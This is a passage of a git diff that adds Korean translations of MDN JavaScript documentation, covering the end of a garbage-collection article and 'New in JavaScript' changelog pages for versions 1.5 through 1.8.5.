+// 이벤트 핸들러의 스코프에도 div 오브젝트가 있으므로 div 오브젝트에 접근할 수 있다. 따라서 이벤트 핸들러도 div 오브젝트를 참조한다.
+// 순환이 발생했고 메모리 누수가 일어난다.
+</pre>
+
+<h3 id="표시하고-쓸기Mark-and-sweep_알고리즘">표시하고-쓸기(Mark-and-sweep) 알고리즘</h3>
+
+<p>이 알고리즘은 "더 이상 필요없는 오브젝트"를 "닿을 수 없는 오브젝트"로 정의한다.</p>
+
+<p>이 알고리즘은 <em>roots</em> 라는 오브젝트의 집합을 가지고 있다(자바스크립트에서는 전역 변수들을 의미한다). 주기적으로 가비지 콜렉터는 roots로 부터 시작하여 roots가 참조하는 오브젝트들, roots가 참조하는 오브젝트가 참조하는 오브젝트들... 을 <em>닿을 수 있는 오브젝트</em>라고 표시한다. 그리고 닿을 수 있는 오브젝트가 아닌 닿을 수 없는 오브젝트에 대해 가비지 콜렉션을 수행한다.</p>
+
+<p>이 알고리즘은 위에서 설명한 참조-세기 알고리즘보다 효율적이다. 왜냐하면 "참조되지 않는 오브젝트"는 모두 "닿을 수 없는 오브젝트" 이지만 역은 성립하지 않기 때문이다. 위에서 반례인 순환 참조하는 오브젝트들을 설명했다.</p>
+
+<p>2012년 기준으로 모든 최신 브라우저들은 가비지 콜렉션에서 표시하고-쓸기 알고리즘을 사용한다. 지난 몇 년간 연구된 자바스크립트 가비지 콜렉션 알고리즘의 개선들은 모두 이 알고리즘에 대한 것이다. 개선된 알고리즘도 여전히 "더 이상 필요없는 오브젝트"를 "닿을 수 없는 오브젝트"로 정의하고 있다.</p>
+
+<h4 id="순환_참조는_이제_문제가_되지_않는다.">순환 참조는 이제 문제가 되지 않는다.</h4>
+
+<p>첫 번째 예제에서 함수가 리턴되고 나서 두 오브젝트는 닿을 수 없다. 따라서 가비지 콜렉션이 일어난다.</p>
+
+<p>두 번째 예제에서도 마찬가지다. div 변수와 이벤트 핸들러가 roots로 부터 닿을 수 없어지면 순환 참조가 일어났음에도 불구하고 가비지 콜렉션이 일어난다. (역자2: div 선언을 블럭안에다 넣어야 된다.(테스트는 못 해봤다.))</p>
+
+<h4 id="한계_수동_메모리_해제.">한계: 수동 메모리 해제.</h4>
+
+<p>어떤 메모리를 언제 해제할지에 대해 수동으로 결정하는 것이 편리할 때가 있습니다. 그리고 수동으로 객체의 메모리를 해제하려면, 객체 메모리에 도달할 수 없도록 명시하는 기능이 있어야 합니다.<br>
+ <br>
+ 2019년 현재의 JavaScript에서는 명시적으로 또는 프로그래밍 방식으로 가비지 컬렉션을 작동할 수 없습니다.</p>
+
+<p>더 보기</p>
+
+<ul>
+ <li><a class="external" href="http://www.ibm.com/developerworks/web/library/wa-memleak/">IBM article on "Memory leak patterns in JavaScript" (2007)</a></li>
+ <li><a class="external" href="http://msdn.microsoft.com/en-us/magazine/ff728624.aspx">Kangax article on how to register event handler and avoid memory leaks (2010)</a></li>
+</ul>
diff --git a/files/ko/web/javascript/new_in_javascript/1.5/index.html b/files/ko/web/javascript/new_in_javascript/1.5/index.html
new file mode 100644
index 0000000000..a34931d815
--- /dev/null
+++ b/files/ko/web/javascript/new_in_javascript/1.5/index.html
@@ -0,0 +1,37 @@
+---
+title: New in JavaScript 1.5
+slug: Web/JavaScript/New_in_JavaScript/1.5
+translation_of: Archive/Web/JavaScript/New_in_JavaScript/1.5
+---
+<div>{{jsSidebar("New_in_JS")}}</div>
+
+<p>다음은 JavaScript 1.5의 변경 내역입니다. 이 버전은 2000년 11월 14일에 출시된 Netscape Navigator 6.0과 그 이 후 버전 그리고 Firefox 1.0에 포함되어 있습니다. You can compare JavaScript 1.5 to JScript version 5.5 and Internet Explorer 5.5, which was released in July 2000. 해당하는 ECMA 표준은 ECMA-262 Edition 3(1999년 12월 이후) 입니디.</p>
+
+<h2 id="New_features_in_JavaScript_1.5">New features in JavaScript 1.5</h2>
+
+<ul>
+ <li>{{jsxref("Number.prototype.toExponential()")}}</li>
+ <li>{{jsxref("Number.prototype.toFixed()")}}</li>
+ <li>{{jsxref("Number.prototype.toPrecision()")}}</li>
+ <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/const">const</a></code> is now a <code><a href="/en-US/docs/Web/JavaScript/Reference/Reserved_Words">reserved word</a></code>.</li>
+ <li>Multiple catch clauses in a <a href="/en-US/docs/Web/JavaScript/Reference/Statements/try...catch"><code>try...catch</code></a> statement are supported.</li>
+ <li>JavaScript authors can now add getters and setters to their objects.</li>
+</ul>
+
+<h2 id="Changed_functionality_in_JavaScript_1.5">Changed functionality in JavaScript 1.5</h2>
+
+<ul>
+ <li>Runtime errors are now reported as exceptions.</li>
+ <li>Regular Expression changes:
+  <ul>
+   <li>Quantifiers — +, *, ? and {} — can now be followed by a ? to force them to be non-greedy.</li>
+   <li>Non-capturing parentheses, (?:x) can be used instead of capturing parentheses, (x). When non-capturing parentheses are used, matched subexpressions are not available as back-references.</li>
+   <li>Positive and negative lookahead assertions are supported. Both assert a match depending on what follows the string being matched.</li>
+   <li>The m flag has been added to specify that the regular expression should match over multiple lines.</li>
+  </ul>
+ </li>
+ <li>Functions can now be declared inside an if clause.</li>
+ <li>
+  <p>Functions can now be declared inside an expression.</p>
+ </li>
+</ul>
diff --git a/files/ko/web/javascript/new_in_javascript/1.6/index.html b/files/ko/web/javascript/new_in_javascript/1.6/index.html
new file mode 100644
index 0000000000..db92810578
--- /dev/null
+++ b/files/ko/web/javascript/new_in_javascript/1.6/index.html
@@ -0,0 +1,85 @@
+---
+title: New in JavaScript 1.6
+slug: Web/JavaScript/New_in_JavaScript/1.6
+tags:
+  - E4X
+  - JavaScript
+  - JavaScript_version_overviews
+translation_of: Archive/Web/JavaScript/New_in_JavaScript/1.6
+---
+<div>{{jsSidebar("New_in_JS")}}</div>
+
+<p>JavaScript 1.6 여러 새 기능(E4X, 여러 새 <code>Array</code> 메소드, Array과 String generic)을 소개합니다.</p>
+
+<p>JavaScript 1.6은 <a href="ko/Firefox_1.5">Firefox 1.5</a>와 이후 버전에서 지원합니다.</p>
+
+<h3 id="E4X" name="E4X">E4X</h3>
+
+<p>ECMAScript for XML (<a>E4X</a>)는 <a href="ko/JavaScript">JavaScript</a> 안의 <a href="ko/XML">XML</a> 컨텐트를 만들고 처리하는 강력한 기술입니다. 우리는 기존 <a href="ko/DOM">DOM</a>과의 transparent한 통합 추가를 포함하는 E4X 지원 향상을 계속할 예정이지만 XML 기반 웹 응용프로그램을 만드는(build) 개발자는 Firefox 1.5의 E4X 지원에서 이득을 얻을 수 있습니다.</p>
+
+<p>아직은 E4X를 쓸 때 표준 MIME 형을 쓸 수 있습니다.</p>
+
+<pre>&lt;script type="text/javascript"&gt;
+</pre>
+
+<p>그러나, E4X 구문이 옛날 브라우저에서 그것을 숨기기 위해 HTML 주석 (<code><span class="nowiki">&lt;!--...--&gt;</span></code>)에 스크립트를 넣는 흔한 관례(practice)와 충돌할지도 모릅니다. E4X 또한 스크립트에 기호 "&lt;"와 "&gt;"를 허용하는 XML CDATA 절 (<code>&lt;![CDATA{{ mediawiki.external('...') }}]&gt;</code>) 에 스크립트를 놓는 더 현대식 관례와 충돌할지도 모릅니다(이는 HTML에는 적용되지 않음을 주의하세요). 만약 설명할 수 없는 구문 에러를 보면, MIME 형에 "; e4x=1"를 보태세요.</p>
+
+<pre>&lt;script type="text/javascript; e4x=1"&gt;
+</pre>
+
+<p>확장기능의 스크립트는 항상 HTML 주석을 E4X 상수(literal)로 다룸을 주의하세요. 즉, "e4x=1"을 묵시(implicit)로 적용합니다.</p>
+
+<p>E4X는 <a href="ko/Core_JavaScript_1.5_Guide/Processing_XML_with_E4X">Processing XML with E4X</a>에서 설명합니다.</p>
+
+<h3 id="Array_.EC.B6.94.EA.B0.80.EB.B6.84" name="Array_.EC.B6.94.EA.B0.80.EB.B6.84">Array 추가분</h3>
+
+<p>두 갈래(item location 메소드와 iterative 메소드)로 구분할 수 있는 7가지 새 <code><a href="ko/Core_JavaScript_1.5_Reference/Objects/Array">Array</a></code> 메소드가 있습니다. item location 메소드는</p>
+
+<ul>
+ <li><code><a href="ko/Core_JavaScript_1.5_Reference/Objects/Array/indexOf">indexOf()</a></code> - 주어진 item의 맨 처음 출현(occurrence) 인덱스를 반환합니다.</li>
+ <li><code><a href="ko/Core_JavaScript_1.5_Reference/Objects/Array/lastIndexOf">lastIndexOf()</a></code> - 주어진 item의 맨 마지막 출현 인덱스를 반환합니다.</li>
+</ul>
+
+<p>iterative 메소드는</p>
+
+<ul>
+ <li><code><a href="ko/Core_JavaScript_1.5_Reference/Objects/Array/every">every()</a></code> - 함수가 참을 반환하는 동안 배열의 항목들에 함수를 돌립니다. 만약 함수가 방문할 수 있는 모든 항목에 대해 참을 반환하면 참을 반환합니다.</li>
+ <li><code><a href="ko/Core_JavaScript_1.5_Reference/Objects/Array/filter">filter()</a></code> - 배열의 각 항목에 함수를 돌리고 함수가 참을 반환하는 모든 항목의 배열을 반환합니다.</li>
+ <li><code><a href="ko/Core_JavaScript_1.5_Reference/Objects/Array/forEach">forEach()</a></code> - 배열의 모든 항목에 함수를 돌립니다.</li>
+ <li><code><a href="ko/Core_JavaScript_1.5_Reference/Objects/Array/map">map()</a></code> - 배열의 모든 항목에 함수를 돌리고 배열에 결과를 반환합니다.</li>
+ <li><code><a href="ko/Core_JavaScript_1.5_Reference/Objects/Array/some">some()</a></code> - 함수가 거짓을 반환하는 동안 배열의 항목들에 함수를 돌립니다. 만약 함수가 방문할 수 있는 어떤 항목에 참을 반환하면 참을 반환합니다.</li>
+</ul>
+
+<p>더 자세한 정보는 <a href="ko/Core_JavaScript_1.5_Guide/Working_with_Arrays#Introduced_in_JavaScript_1.6">Working with Arrays</a>나 Nicholas C. Zakas의 기사 <a class="external" href="http://www.webreference.com/programming/javascript/ncz/column4/index.html">Mozilla's New Array Methods</a>를 보세요.</p>
+
+<h3 id="Array.EC.99.80_String_generic" name="Array.EC.99.80_String_generic">Array와 String generic</h3>
+
+<p>간혹 배열 메소드를 문자열에 쓰고 싶습니다. 이리하여, 문자열을 문자 배열로 다룹니다. 예를 들어, 변수 <var>str</var>의 모든 문자(character)가 문자(letter)인지 검사하기 위해, 당신은 작성합니다.</p>
+
+<pre>function isLetter(character) {
+  return (character &gt;= "a" &amp;&amp; character &lt;= "z");
+}
+
+if (Array.prototype.every.call(str, isLetter))
+  alert("The string '" + str + "' contains only letters!");
+</pre>
+
+<p>이 표기(notation)는 약간 낭비라서 JavaScript 1.6은 generic 속기(shorthand)를 도입합니다.</p>
+
+<pre>if (Array.every(str, isLetter))
+  alert("The string '" + str + "' contains only letters!");
+</pre>
+
+<p>비슷하게 문자열 메소드를 어느 개체든지 쉽게 적용할 수 있습니다.</p>
+
+<pre>var num = 15;
+alert(String.replace(num, /5/, '2'));
+</pre>
+
+<h3 id=".EA.B0.99.EC.9D.B4_.EB.B3.B4.EA.B8.B0" name=".EA.B0.99.EC.9D.B4_.EB.B3.B4.EA.B8.B0">같이 보기</h3>
+
+<p><a href="ko/Core_JavaScript_1.5_Guide/Working_with_Arrays#Working_with_Array-like_objects">Working with Array-like objects</a>.</p>
+
+<div class="noinclude"> </div>
+
+<p>{{ languages( { "en": "en/New_in_JavaScript_1.6", "es": "es/Novedades_en_JavaScript_1.6", "fr": "fr/Nouveaut\u00e9s_dans_JavaScript_1.6", "ja": "ja/New_in_JavaScript_1.6", "pl": "pl/Nowo\u015bci_w_JavaScript_1.6", "ru": "ru/\u041d\u043e\u0432\u043e\u0435_\u0432_JavaScript_1.6", "zh-cn": "cn/New_in_JavaScript_1.6" } ) }}</p>
diff --git a/files/ko/web/javascript/new_in_javascript/1.8.1/index.html b/files/ko/web/javascript/new_in_javascript/1.8.1/index.html
new file mode 100644
index 0000000000..2a50e35cf7
--- /dev/null
+++ b/files/ko/web/javascript/new_in_javascript/1.8.1/index.html
@@ -0,0 +1,26 @@
+---
+title: New in JavaScript 1.8.1
+slug: Web/JavaScript/New_in_JavaScript/1.8.1
+translation_of: Archive/Web/JavaScript/New_in_JavaScript/1.8.1
+---
+<div>{{jsSidebar("New_in_JS")}}</div>
+
+<p>다음은  JavaScript 1.8.1의 변경사항입니다. <a href="/en-US/Firefox/Releases/3.5">Firefox 3.5</a> 버전에 포함되었습니다.</p>
+
+<p>JavaScript 1.8.1는 약간의 문법적인 업데이트가 있습니다. 이번 릴리즈의 주요 변경사항은 <a href="/en-US/docs/SpiderMonkey/Internals/Tracing_JIT" title="SpiderMonkey/Internals/Tracing JIT">Tracemonkey just-in-time compiler</a>(성능적인 향상이 포함된 릴리즈입니다)의 추가되어있습니다</p>
+
+<h2 id="JavaScript_1.8.1의_새로운_특징">JavaScript 1.8.1의 새로운 특징</h2>
+
+<ul>
+ <li>{{jsxref("Object.getPrototypeOf()")}}</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide/Using_native_JSON">Support for native JSON</a></li>
+ <li>{{jsxref("String.prototype.trim()")}}</li>
+ <li>{{jsxref("String.prototype.trimLeft()")}}</li>
+ <li>{{jsxref("String.prototype.trimRight()")}}</li>
+</ul>
+
+<h2 id="JavaScript_1.8.1에서_변경된_기능">JavaScript 1.8.1에서 변경된 기능</h2>
+
+<ul>
+ <li>객체 및 배열 initializer에서 속성의 암시적 설정(implicit setting)은 더 이상 JavaScript에서 setter를 실행하지 않습니다. 덕분에 속성 값을 좀더 예측 가능하게 설정하는 동작이 만들어집니다.</li>
+</ul>
diff --git a/files/ko/web/javascript/new_in_javascript/1.8.5/index.html b/files/ko/web/javascript/new_in_javascript/1.8.5/index.html
new file mode 100644
index 0000000000..27853f0531
--- /dev/null
+++ b/files/ko/web/javascript/new_in_javascript/1.8.5/index.html
@@ -0,0 +1,126 @@
+---
+title: New in JavaScript 1.8.5
+slug: Web/JavaScript/New_in_JavaScript/1.8.5
+tags:
+  - ECMAScript5
+  - JavaScript
+  - JavaScript 1.8.5
+translation_of: Archive/Web/JavaScript/New_in_JavaScript/1.8.5
+---
+<div>{{jsSidebar("New_in_JS")}}</div>
+
+<p>다음은 JavaScript 1.8.5에 대한 변경기록입니다. 이 버전은 <a href="/ko/Firefox/Releases/4">Firefox 4</a>에서 포함되었습니다.</p>
+
+<h2 id="JavaScript_1.8.5의_새로운_기능">JavaScript 1.8.5의 새로운 기능</h2>
+
+<h3 id="새로운_함수">새로운 함수</h3>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">함수</th>
+   <th scope="col">설명</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{jsxref("Object.create()")}}</td>
+   <td>지정된 프로토타입 객체 및 속성을 갖는 새로운 객체 생성. {{bug("492840")}}</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Object.defineProperty()")}}</td>
+   <td>객체에 주어진 설명자로 기술된 유명(named) 속성을 추가.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Object.defineProperties()")}}</td>
+   <td>객체에 주어진 설명자로 기술된 유명 속성을 추가.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Object.getOwnPropertyDescriptor()")}}</td>
+   <td>객체의 유명 속성에 대한 속성 설명자를 반환. {{bug("505587")}}</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Object.keys()")}}</td>
+   <td>객체의 모든 열거가능 속성 배열을 반환. {{bug("307791")}}</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Object.getOwnPropertyNames()")}}</td>
+   <td>객체의 모든 열거가능 및 열거불가 속성 배열을 반환. {{bug("518663")}}</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Object.preventExtensions()")}}</td>
+   <td>객체 확장을 막음. {{bug("492849")}}</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Object.isExtensible()")}}</td>
+   <td>객체 확장이 허용되는지 판단. {{bug("492849")}}</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Object.seal()")}}</td>
+   <td>다른 코드가 객체의 속성을 삭제하는 것으로부터 막음. {{bug("492845")}}</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Object.isSealed()")}}</td>
+   <td>객체가 봉인되었는지 판단. {{bug("492845")}}</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Object.freeze()")}}</td>
+   <td>객체 동결: 다른 코드가 어떤 속성도 삭제 또는 변경할 수 없음. {{bug("492844")}}</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Object.isFrozen()")}}</td>
+   <td>객체가 동결됐는지 판단. {{bug("492844")}}</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Array.isArray()")}}</td>
+   <td>변수가 배열인지 확인. {{bug("510537")}}</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Date.prototype.toJSON()")}}</td>
+   <td><code>Date</code> 객체의 JSON 형식 문자열 반환.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Function.prototype.bind()")}}</td>
+   <td>호출될 때 그 자체가 (주어진 인수열과 함께) 주어진 문맥에서 이 함수를 호출하는 새로운 함수 생성 {{bug("429507")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="ECMAScript5_새로운_기능">ECMAScript5 새로운 기능</h3>
+
+<ul>
+ <li><code><a href="/ko/docs/Web/JavaScript/Reference/Operators/get">get</a></code> 및 <code><a href="/ko/docs/Web/JavaScript/Reference/Operators/set">set</a></code> 연산자는 이제 식별자가 숫자 또는 문자열이 될 수 있습니다. {{bug("520696")}}</li>
+ <li>{{jsxref("Function.apply()")}}는 인수 목록으로 모든 배열같은 객체를 받아들일 수 있습니다, 실제 배열만이 아니라.</li>
+ <li><a href="/ko/docs/Web/JavaScript/Reference/Functions_and_function_scope/Strict_mode">엄격 모드 지원</a></li>
+ <li>{{jsxref("Array.toString()")}}은 이제 가능한 경우 그 <a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/Array/join"><code>join()</code></a> 메서드 호출 결과를 반환 또는 그 <a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/Object/toString"><code>toString()</code></a> 메서드를 호출하여 심지어 비배열에서도 동작합니다.</li>
+</ul>
+
+<h3 id="다른_표준화_작업">다른 표준화 작업</h3>
+
+<p>getter 및 setter를 정의하는 다양한 비표준 구문이 제거되었습니다; ECMAScript 5에서 정의된 구문은 변경되지 않았습니다. 이들은 모두 꽤 난해하고 거의 쓰이지 않았습니다; 영향을 미치는 경우, 자세한 사항은 <a class="external" href="http://whereswalden.com/2010/04/16/more-spidermonkey-changes-ancient-esoteric-very-rarely-used-syntax-for-creating-getters-and-setters-is-being-removed/">이 블로그 게시글</a> 참조.</p>
+
+<h3 id="새로운_객체">새로운 객체</h3>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">객체</th>
+   <th scope="col">설명</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{jsxref("Proxy")}}</td>
+   <td>JavaScript에서 메타프로그래밍을 가능케 하는 <code>Object</code> 및 <code>Function</code> 프록시 생성 지원을 제공.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="JavaScript_1.8.5에서_바뀐_기능">JavaScript 1.8.5에서 바뀐 기능</h2>
+
+<ul>
+ <li><code>Date</code> 객체 ISO 8601 지원: {{jsxref("Date")}} 객체의 <a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/Date/parse">parse()</a> 메서드가 이제 단순한 ISO 8601 형식 date 문자열을 지원합니다.</li>
+ <li>Global 객체가 읽기 전용이 됨: <a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/NaN"><code>NaN</code></a>, <a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/Infinity"><code>Infinity</code></a> 및 <a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/undefined"><code>undefined</code></a> global 객체는 읽기 전용이 되었습니다, ECMAScript 5 스펙에 따라.</li>
+ <li><a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/Object/Parent"><code>obj.__parent__</code></a> 및 <code>obj.__count__</code>는 폐기(obsolete)되었습니다. 이유에 대한 일부 정보: <a class="external" href="http://whereswalden.com/2010/05/07/spidermonkey-change-du-jour-the-special-__parent__-property-has-been-removed/">SpiderMonkey change du jour: the special __parent__ property has been removed</a> {{bug("551529")}} &amp; {{bug("552560")}}.</li>
+ <li>후행(trailing) 쉼표는 {{jsxref("JSON.parse()")}}에서 더 이상 허용되지 않습니다.</li>
+</ul>
diff --git a/files/ko/web/javascript/new_in_javascript/1.8/index.html b/files/ko/web/javascript/new_in_javascript/1.8/index.html
new file mode 100644
index 0000000000..3372eeac27
--- /dev/null
+++ b/files/ko/web/javascript/new_in_javascript/1.8/index.html
@@ -0,0 +1,138 @@
+---
+title: New in JavaScript 1.8
+slug: Web/JavaScript/New_in_JavaScript/1.8
+tags:
+  - JavaScript
+  - JavaScript_version_overviews
+translation_of: Archive/Web/JavaScript/New_in_JavaScript/1.8
+---
+<p>{{jsSidebar("New_in_JS")}} 자바스크립트 1.8은 (<a href="ko/Firefox_3">Firefox 3</a>에 포함될 예정인) Gecko 1.9의 일부분으로 계획되어 있습니다. 자바스크립트 1.8은 <a href="ko/New_in_JavaScript_1.7">자바스크립트 1.7</a>보다는 변경된 부분이 적습니다. 그러나, ECMAScript 4/JavaScript 2로 진행되는 과정의 몇몇 변경점이 있습니다. 이번 자바스크립트 1.8 릴리즈에는 <a href="ko/New_in_JavaScript_1.6">자바스크립트 1.6</a>과 <a href="ko/New_in_JavaScript_1.7">자바스크립트 1.7</a>에 있는 모든 부분이 포함될 것입니다.</p>
+
+<p>자바스크립트 1.8가 개발되어지고 있는 상황은 {{ Bug(380236) }}을 참조하십시오.</p>
+
+<h3 id=".EC.9E.90.EB.B0.94.EC.8A.A4.ED.81.AC.EB.A6.BD.ED.8A.B8_1.8.EC.9D.98_.EC.82.AC.EC.9A.A9" name=".EC.9E.90.EB.B0.94.EC.8A.A4.ED.81.AC.EB.A6.BD.ED.8A.B8_1.8.EC.9D.98_.EC.82.AC.EC.9A.A9">자바스크립트 1.8의 사용</h3>
+
+<p>HTML에서 자바스크립트 1.8의 새로운 기능 몇 가지를 사용하려면 다음과 같이 사용하십시오.</p>
+
+<pre class="eval"> &lt;script type="application/javascript;version=1.8"&gt; ... your code ... &lt;/script&gt;
+</pre>
+
+<p><a href="ko/Introduction_to_the_JavaScript_shell">자바스크립트 쉘</a>, 자바스크립트 XPCOM 컴포넌트, 혹은 XUL의 <code>&lt;script&gt;</code> 엘리먼트를 사용할 때에는 자동적으로 가장 마지막의 자바스크립트 버전(모질라 1.9에서는 자바스크립트 1.8)이 사용되어 집니다({{ Bug(381031) }}, {{ Bug(385159) }}).</p>
+
+<p>새로운 예약어 "yield"와 "let"를 사용하려면 버전을 1.8이나 그 이상으로 지정하여야 합니다. 왜냐하면 기존 코드에 변수나 함수의 이름으로 이런 키워드를 사용하고 있을 수 있기 때문입니다. (generator expressions처럼) 새로운 예약어로 소개되지 않는 것들은 자바스크립트 버전을 명시하지 않아도 사용할 수 있습니다.</p>
+
+<h3 id="closures_.ED.91.9C.ED.98.84" name="closures_.ED.91.9C.ED.98.84">closures 표현</h3>
+
+<p>추가된 closures 표현은 간단한 함수 작성을 쉽게 할 수 있는 것 뿐입니다. 문자 그대로인 <a class="external" href="http://en.wikipedia.org/wiki/Lambda_calculus#Lambda_calculus_and_programming_languages">Lambda notation</a>과 유사한 어떤 것을 자바스크립트도 가능하도록 합니다.</p>
+
+<p><a href="ko/New_in_JavaScript_1.7">자바스크립트 1.7</a>과 그 이전 버전:</p>
+
+<pre class="eval"> function(x) { return x * x; }
+</pre>
+
+<p>자바스크립트 1.8:</p>
+
+<pre class="eval"> function(x) x * x
+</pre>
+
+<p>이런 문법은 괄호를 없애고 'return' 문을 쓰지 않아도 되도록 해줍니다. - 즉, 내용을 함축적으로 만들어 줍니다. 문법이 더 짧아진다는 것 외에 코드에 이 문법을 사용하여 얻을 수 있는 추가적인 이점은 없습니다.</p>
+
+<p><b>예제:</b></p>
+
+<p>이벤트 리스너 연결:</p>
+
+<pre class="eval"> document.addEventListener("click", function() false, true);
+</pre>
+
+<p><a href="ko/New_in_JavaScript_1.6">자바스크립트 1.6</a>의 배열 함수의 some을 사용하면:</p>
+
+<pre class="eval"> elems.some(function(elem) elem.type == "text");
+</pre>
+
+<h3 id="Generator_expression" name="Generator_expression">Generator expression</h3>
+
+<p>Generator expression은 (<a href="ko/New_in_JavaScript_1.7">자바스크립트 1.7</a>에서 소개된) generator를 간단하게 만들 수 있게 해줍니다. 문자 그대로 함수 내부에 yield를 포함한 사용자 함수를 생성할 수 있습니다. 그러나 동일한 generator 문법과 같은 것을 포함하고 있는 배열 역시 사용할 수 있습니다.</p>
+
+<p>This addition allows you to simply create generators (which were introduced in <a href="ko/New_in_JavaScript_1.7">JavaScript 1.7</a>). Typically you would have to create a custom function which would have a yield in it, but this addition allows you to use array comprehension-like syntax to create an identical generator statement.</p>
+
+<p><a href="ko/New_in_JavaScript_1.7">자바스크립트 1.7</a>에서 오브젝트로부터 사용자 generator를 만드려면 다음과 같은 코드를 작성해야 했습니다:</p>
+
+<pre class="eval"> function add3(obj) {
+   for ( let i in obj )
+     yield i + 3;
+ }
+
+ let it = add3(someObj);
+ try {
+   while (true) {
+     document.write(it.next() + "&lt;br&gt;\n");
+   }
+ } catch (err if err instanceof StopIteration) {
+   document.write("End of record.&lt;br&gt;\n");
+ }
+</pre>
+
+<p>위의 코드 대신에 자바스크립트 1.8에서는 generator expression을 사용하여 순환문 안에 사용자 generator 함수를 생성하는 부분을 포함할 수 있습니다:</p>
+
+<pre class="eval"> let it = (i + 3 for (i in someObj));
+ try {
+   while (true) {
+     document.write(it.next() + "&lt;br&gt;\n");
+   }
+ } catch (err if err instanceof StopIteration) {
+   document.write("End of record.&lt;br&gt;\n");
+ }
+</pre>
+
+<p>generator 표현은 또한 값처럼 함수에 전달할 수 있습니다. generator 표현은 generator가 실행되지 않을 때부터 반드시 필요할 때까지 (배열이 맨 처음 생성되어지는 전형적인 상황과는 다르게) 특히 주목할만 합니다. 다른 예는 아래에서 볼 수 있습니다:</p>
+
+<p>Generator expressions can also be passed in, as values, to a function. This is particularly noteworthy since generators aren't run until they are absolutely needed (unlike for typical array comprehension situations, where the arrays are constructed ahead of time). An example of the difference can be seen here:</p>
+
+<p>자바스크립트 1.7 Array Comprehension 사용</p>
+
+<pre class="eval"> handleResults([ i for ( i in obj ) if ( i &gt; 3 ) ]);
+
+ function handleResults( results ) {
+   for ( let i in results )
+     // ...
+ }
+</pre>
+
+<p>자바스크립트 1.8 Generator Expressions 사용</p>
+
+<pre class="eval"> handleResults( i for ( i in obj ) if ( i &gt; 3 ) );
+
+ function handleResults( results ) {
+   for ( let i in results )
+     // ...
+ }
+</pre>
+
+<p>두 예제에서 generator expression을 사용함으로써 중요한 다른 점은 'obj' 하나에 대해서만 반복될 것이란 것과 전체에 대해서 반복될 것이라는 점입니다. 배열에 포함되었을 때 하나에 대해서만 반복될 것에 비해 generator expression은 전체에 대해 계속 반복됩니다.</p>
+
+<p>The significant difference between the two examples being that by using the generator expressions, you would only have to loop over the 'obj' structure once, total, as opposed to once when comprehending the array, and again when iterating through it.</p>
+
+<h3 id=".EB.B0.B0.EC.97.B4.EC.97.90_.EC.B6.94.EA.B0.80.EB.90.9C_.EA.B2.83.EB.93.A4" name=".EB.B0.B0.EC.97.B4.EC.97.90_.EC.B6.94.EA.B0.80.EB.90.9C_.EA.B2.83.EB.93.A4">배열에 추가된 것들</h3>
+
+<p>자바스크립트 1.8에는 <code><a href="ko/Core_JavaScript_1.5_Reference/Objects/Array">Array</a></code> 객체에 배열 항목마다 반복 적용되는 두 가지 새로운 메소드가 포함되었습니다:</p>
+
+<ul>
+ <li><code><a href="ko/Core_JavaScript_1.5_Reference/Objects/Array/reduce">reduce()</a></code> - 배열의 모든 항목에 대해 함수를 실행하고, 이전 호출에서 결과값을 수집합니다.</li>
+ <li><code><a href="ko/Core_JavaScript_1.5_Reference/Objects/Array/reduceRight">reduceRight()</a></code> - 배열의 모든 항목에 대해 함수를 실행하고, 이전 호출에서 결과값을 수집합니다. 결과값은 순서가 반대로 수집됩니다.</li>
+ <li><code><a href="ko/Core_JavaScript_1.5_Reference/Objects/Array/reduce">reduce()</a></code> - runs a function on every item in the array and collects the results from previous calls.</li>
+ <li><code><a href="ko/Core_JavaScript_1.5_Reference/Objects/Array/reduceRight">reduceRight()</a></code> - runs a function on every item in the array and collects the results from previous calls, but in reverse.</li>
+</ul>
+
+<h3 id="Changes_in_destructuring_for..in" name="Changes_in_destructuring_for..in">Changes in destructuring for..in</h3>
+
+<p>TBD: mention <a href="ko/New_in_JavaScript_1.7#Looping_across_objects">New_in_JavaScript_1.7#Looping_across_objects</a> ({{ Bug(366941) }}).</p>
+
+<h3 id=".EA.B3.A7_.EB.B3.80.EA.B2.BD.EB.90.A0_.EC.82.AC.ED.95.AD.EB.93.A4" name=".EA.B3.A7_.EB.B3.80.EA.B2.BD.EB.90.A0_.EC.82.AC.ED.95.AD.EB.93.A4">곧 변경될 사항들</h3>
+
+<p>자바스크립트 1.8에 포함될 수 있을 것이라 기대되는 것들:</p>
+
+<ul>
+ <li>JSON 인코딩, 디코딩.</li>
+ <li>Slice syntax.</li>
+ <li>Generalized destructuring <code>for...in</code> (does this mean something other than <a href="#Changes_in_destructuring_for..in">#Changes in destructuring for..in</a>? --<a>Nickolay</a> 10:52, 9 September 2007 (PDT))</li>
+</ul>
diff --git a/files/ko/web/javascript/new_in_javascript/ecmascript_5_support_in_mozilla/index.html b/files/ko/web/javascript/new_in_javascript/ecmascript_5_support_in_mozilla/index.html
new file mode 100644
index 0000000000..6662aee95b
--- /dev/null
